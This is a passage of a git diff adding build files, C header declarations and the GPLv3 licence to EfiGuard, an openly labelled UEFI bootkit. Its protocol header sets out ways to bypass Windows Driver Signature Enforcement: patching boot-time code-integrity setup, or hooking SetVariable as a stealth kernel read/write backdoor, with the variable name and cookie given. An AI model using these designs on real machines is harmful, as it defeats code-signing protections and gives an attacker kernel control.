+RtlSleep( + IN UINTN Milliseconds + ); + +// +// Prints info about a loaded image +// +VOID +EFIAPI +PrintLoadedImageInfo( + IN EFI_LOADED_IMAGE *ImageInfo + ); + +// +// Similar to Print(), but for use during the kernel patching phase. +// Do not call this unless the message is specifically intended for (delayed) display output only. +// Instead use the PRINT_KERNEL_PATCH_MSG() macro so the boot debugger receives messages with no delay. +// +VOID +EFIAPI +AppendKernelPatchMessage( + IN CONST CHAR16 *Format, + ... + ); + +// +// Prints the contents of the kernel patch string buffer to the screen using OutputString() calls. +// This is a separate function because the buffer consists of zero or more null-terminated strings, +// which are printed sequentially to prevent issues with platforms that have small Print() buffer limits +// +VOID +EFIAPI +PrintKernelPatchInfo( + ); + +// +// Waits for a key to be pressed before continuing execution. +// Returns FALSE if ESC was pressed to abort, TRUE otherwise. +// +BOOLEAN +EFIAPI +WaitForKey( + ); + +// +// Sets the foreground colour while preserving the background colour and optionally clears the screen. +// Returns the original console mode attribute. +// +INT32 +EFIAPI +SetConsoleTextColour( + IN UINTN TextColour, + IN BOOLEAN ClearScreen + ); + +// +// Finds a byte pattern starting at the specified address +// +EFI_STATUS +EFIAPI +FindPattern( + IN CONST UINT8* Pattern, + IN UINT8 Wildcard, + IN UINT32 PatternLength, + IN VOID* Base, + IN UINT32 Size, + OUT VOID **Found + ); + +// +// Finds a byte pattern starting at the specified address (with lots of debug spew) +// +EFI_STATUS +EFIAPI +FindPatternVerbose( + IN CONST UINT8* Pattern, + IN UINT8 Wildcard, + IN UINT32 PatternLength, + IN VOID* Base, + IN UINT32 Size, + OUT VOID **Found + ); + +typedef struct ZydisFormatter_ ZydisFormatter; + +// +// Initializes a ZydisDecoder instance. +// If ZYDIS_DISABLE_FORMATTER is defined, Formatter must be NULL. +// Otherwise it is a required argument. +// +ZyanStatus +EFIAPI +ZydisInit( + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + OUT ZydisDecoder *Decoder, + OUT ZydisFormatter *Formatter OPTIONAL + ); + +// +// Finds the start of a function given an address within it, scanning downwards. +// Returns NULL if StartAddress is NULL (this simplifies error checking logic in calling functions). +// Returns NULL is LowerBound is reached and no function boundary was found. +// +UINT8* +EFIAPI +BacktrackToFunctionStart( + IN CONST UINT8* StartAddress, + IN CONST UINT8* LowerBound + ); diff --git a/EfiGuardPkg.dec b/EfiGuardPkg.dec new file mode 100644 index 0000000..4d8c783 --- /dev/null +++ b/EfiGuardPkg.dec @@ -0,0 +1,18 @@ +[Defines] + DEC_SPECIFICATION = 0x00010019 + PACKAGE_NAME = EfiGuardPkg + PACKAGE_GUID = 6BFA833B-A9DF-490D-AF7E-7F92A80E3F9A + PACKAGE_VERSION = 1.00 + +[Includes] + Include + Include/Protocol + EfiGuardDxe + EfiGuardDxe/Zydis/dependencies/zycore/include + EfiGuardDxe/Zydis/include + EfiGuardDxe/Zydis/src + EfiGuardDxe/Zydis/msvc + +[Protocols] + ## Include/Protocol/EfiGuard.h + gEfiGuardDriverProtocolGuid = { 0x51e4785b, 0xb1e4, 0x4fda, { 0xaf, 0x5f, 0x94, 0x2e, 0xc0, 0x15, 0xf1, 0x7 }} diff --git a/EfiGuardPkg.dsc b/EfiGuardPkg.dsc new file mode 100644 index 0000000..6f3e97b --- /dev/null +++ b/EfiGuardPkg.dsc @@ -0,0 +1,94 @@ +[Defines] + PLATFORM_NAME = EfiGuard + PLATFORM_GUID = C5ACE17D-FD90-44F7-847C-693ED2B8BEF9 + PLATFORM_VERSION = 1.00 + DSC_SPECIFICATION = 0x0001001B + OUTPUT_DIRECTORY = Build/EfiGuard + SUPPORTED_ARCHITECTURES = X64 + BUILD_TARGETS = DEBUG|RELEASE|NOOPT + SKUID_IDENTIFIER = DEFAULT + +[LibraryClasses] + # Entry points + UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf + UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf + + # Basics + PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf + TimerLib|MdePkg/Library/BaseTimerLibNullTemplate/BaseTimerLibNullTemplate.inf + PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf + BaseMemoryLib|MdePkg/Library/BaseMemoryLib/BaseMemoryLib.inf + BaseLib|MdePkg/Library/BaseLib/BaseLib.inf + SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf + CpuLib|MdePkg/Library/BaseCpuLib/BaseCpuLib.inf + PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf + PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf + IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsicSev.inf + SerialPortLib|PcAtChipsetPkg/Library/SerialIoLib/SerialIoLib.inf + + # UEFI and PI + UefiLib|MdePkg/Library/UefiLib/UefiLib.inf + UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf + UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf + + # Misc modules + DevicePathLib|MdePkg/Library/UefiDevicePathLibDevicePathProtocol/UefiDevicePathLibDevicePathProtocol.inf + FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf + ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf +!if $(TARGET) == RELEASE + DebugLib|MdePkg/Library/BaseDebugLibNull/BaseDebugLibNull.inf +!else + !ifdef $(DEBUG_ON_SERIAL_PORT) + DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf + !else + DebugLib|MdePkg/Library/UefiDebugLibConOut/UefiDebugLibConOut.inf + !endif +!endif + DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf + +[LibraryClasses.common.DXE_DRIVER, LibraryClasses.common.DXE_RUNTIME_DRIVER, LibraryClasses.common.DXE_SMM_DRIVER, LibraryClasses.common.UEFI_DRIVER] + PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf + BaseMemoryLib|MdePkg/Library/BaseMemoryLibOptDxe/BaseMemoryLibOptDxe.inf + MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf + ReportStatusCodeLib|MdeModulePkg/Library/RuntimeDxeReportStatusCodeLib/RuntimeDxeReportStatusCodeLib.inf + +[LibraryClasses.common.UEFI_APPLICATION] + PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf + BaseMemoryLib|MdePkg/Library/BaseMemoryLibOptDxe/BaseMemoryLibOptDxe.inf + MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf + ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf + + # Stuff needed for UefiBootManagerLib + PerformanceLib|MdePkg/Library/BasePerformanceLibNull/BasePerformanceLibNull.inf + UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf + HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf + SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf + DxeServicesLib|MdePkg/Library/DxeServicesLib/DxeServicesLib.inf + DxeServicesTableLib|MdePkg/Library/DxeServicesTableLib/DxeServicesTableLib.inf + PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf + HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf + UefiBootManagerLib|MdeModulePkg/Library/UefiBootManagerLib/UefiBootManagerLib.inf + +[Components] + # DXE driver + EfiGuardPkg/EfiGuardDxe/EfiGuardDxe.inf + + # Loader application + EfiGuardPkg/Application/Loader/Loader.inf + +[BuildOptions.Common] + *_*_*_CC_FLAGS = -D DISABLE_NEW_DEPRECATED_INTERFACES +!if $(CONFIGURE_DRIVER) == 1 + *_*_*_CC_FLAGS = -D CONFIGURE_DRIVER=1 +!endif + + # ICC generates about a million of these for Zydis on /W4, and then quits because of /WX. + # warning #188: enumerated type mixed with another type + # message #2415: variable "x" of static storage duration was declared but never referenced + INTEL:*_*_*_CC_FLAGS = /wd188,2415 + + # Use sane linker flags instead of EDK2 defaults + MSFT:*_*_*_DLINK_FLAGS = /ALIGN:0x1000 /FILEALIGN:0x200 /SECTION:.pdata,!D /MERGE:.rdata=.text /DEBUG:FULL /NOVCFEATURE /NOCOFFGRPINFO /PDBALTPATH:%_PDB% + INTEL:*_*_*_DLINK_FLAGS = /ALIGN:0x1000 /FILEALIGN:0x200 /SECTION:.pdata,!D /MERGE:.rdata=.text /DEBUG:FULL /NOVCFEATURE /NOCOFFGRPINFO /PDBALTPATH:%_PDB% + GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000 + MSFT:*_*_X64_GENFW_FLAGS = --keepexceptiontable --keepzeropending --keepoptionalheader diff --git a/Include/Protocol/EfiGuard.h b/Include/Protocol/EfiGuard.h new file mode 100644 index 0000000..0ad4ab2 --- /dev/null +++ b/Include/Protocol/EfiGuard.h @@ -0,0 +1,135 @@ +#ifndef __EFIGUARD_GUID_H__ +#define __EFIGUARD_GUID_H__ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// +// EfiGuard Bootkit Protocol GUID +// +#define EFI_EFIGUARD_DRIVER_PROTOCOL_GUID \ + { \ + 0x51e4785b, 0xb1e4, 0x4fda, { 0xaf, 0x5f, 0x94, 0x2e, 0xc0, 0x15, 0xf1, 0x7 } \ + } + +// +// Type of Driver Signature Enforcement bypass to use +// +typedef enum _EFIGUARD_DSE_BYPASS_TYPE { + // + // Do not disable DSE. + // + DSE_DISABLE_NONE = 0, + + // + // Prevent DSE initialization at boot by patching SepInitializeCodeIntegrity. + // DSE will remain disabled until system reboot. + // + // Note: This can be trivially detected. If this is not a problem for you, + // this is the most convenient option. + // + DSE_DISABLE_AT_BOOT = 1, + + // + // Hook the EFI SetVariable() runtime service to provide a stealth method for writing + // to any kernel address. This is therefore not a true DSE bypass but simply a backdoor. + // The most obvious use however is to set g_CiOptions/g_CiEnabled to 0 to load any driver. + // + // This is the default DSE bypass setting. + // + DSE_DISABLE_SETVARIABLE_HOOK = 2 +} EFIGUARD_DSE_BYPASS_TYPE; + + +// +// Kernel read/write backdoor struct, used in combination with DSE bypass type DSE_DISABLE_SETVARIABLE_HOOK. +// For scalar values, use one of the Byte through Qword fields, set its size in Size, and set IsMemCopy to FALSE. +// For writes, the field that was used to supply the data will contain the original value on return. +// +// To perform a memcpy, set UserBuffer to a pointer-aligned buffer, Size to the size of the buffer, and IsMemCopy to TRUE. +// There is SEH in UEFI for buffer probing, so it is the caller's responsibility that the address is valid and correctly aligned. +// No backup of the original buffer will be made because this would require memory allocation at runtime. If you wish to obtain +// the contents of the current data at KernelAddress, call the backdoor twice with the first call having IsReadOperation = TRUE. +// +// If IsReadOperation is TRUE, no writes to kernel memory will be performed. Instead either +// (1) one of the Byte through Qword fields (depending on size) will contain the value at KernelAddress, or +// (2) the memcpy performed will be in the opposite direction, i.e. from KernelAddress to UserBuffer. +// +#define EFIGUARD_BACKDOOR_VARIABLE_NAME L"roodkcaBdrauGifE" // "EfiGuardBackdoor" // TODO: randomize? +#define EFIGUARD_BACKDOOR_VARIABLE_GUID &gEfiGlobalVariableGuid +#define EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES (EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS) +#define EFIGUARD_BACKDOOR_VARIABLE_DATASIZE sizeof(EFIGUARD_BACKDOOR_DATA) + +#define EFIGUARD_BACKDOOR_COOKIE_VALUE (0xDEADC0DE) + +typedef struct _EFIGUARD_BACKDOOR_DATA { + + UINTN CookieValue; // Currently must be EFIGUARD_BACKDOOR_COOKIE_VALUE + VOID* KernelAddress; + + union { + struct { + UINT64 Byte : 8; + UINT64 Word : 16; + UINT64 Dword : 32; + UINT64 Spare : 8; + } s; + + UINT64 Qword; + VOID* UserBuffer; + } u; + + BOOLEAN IsMemCopy; + BOOLEAN IsReadOperation; + UINT32 Size; +} EFIGUARD_BACKDOOR_DATA; + + +// +// Main driver configuration data. This can be optionally sent to the driver using the Configure() pointer in the protocol. +// +typedef struct _EFIGUARD_CONFIGURATION_DATA { + // + // Type of Driver Signature Enforcement bypass to use. + // Default: DSE_DISABLE_SETVARIABLE_HOOK + // + EFIGUARD_DSE_BYPASS_TYPE DseBypassMethod; + + // + // Whether to wait for a keypress at the end of each patch stage, regardless of success or failure. + // Recommended for debugging purposes only. + // Default: FALSE + // + BOOLEAN WaitForKeyPress; +} EFIGUARD_CONFIGURATION_DATA; + + +// +// Sends configuration data to the driver. +// +typedef +EFI_STATUS +(EFIAPI* +EFIGUARD_CONFIGURE)( + IN EFIGUARD_CONFIGURATION_DATA* ConfigurationData + ); + + +// +// The EfiGuard bootkit driver protocol. +// +typedef struct _EFIGUARD_DRIVER_PROTOCOL { + EFIGUARD_CONFIGURE Configure; +} EFIGUARD_DRIVER_PROTOCOL; + + +extern EFI_GUID gEfiGuardDriverProtocolGuid; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may 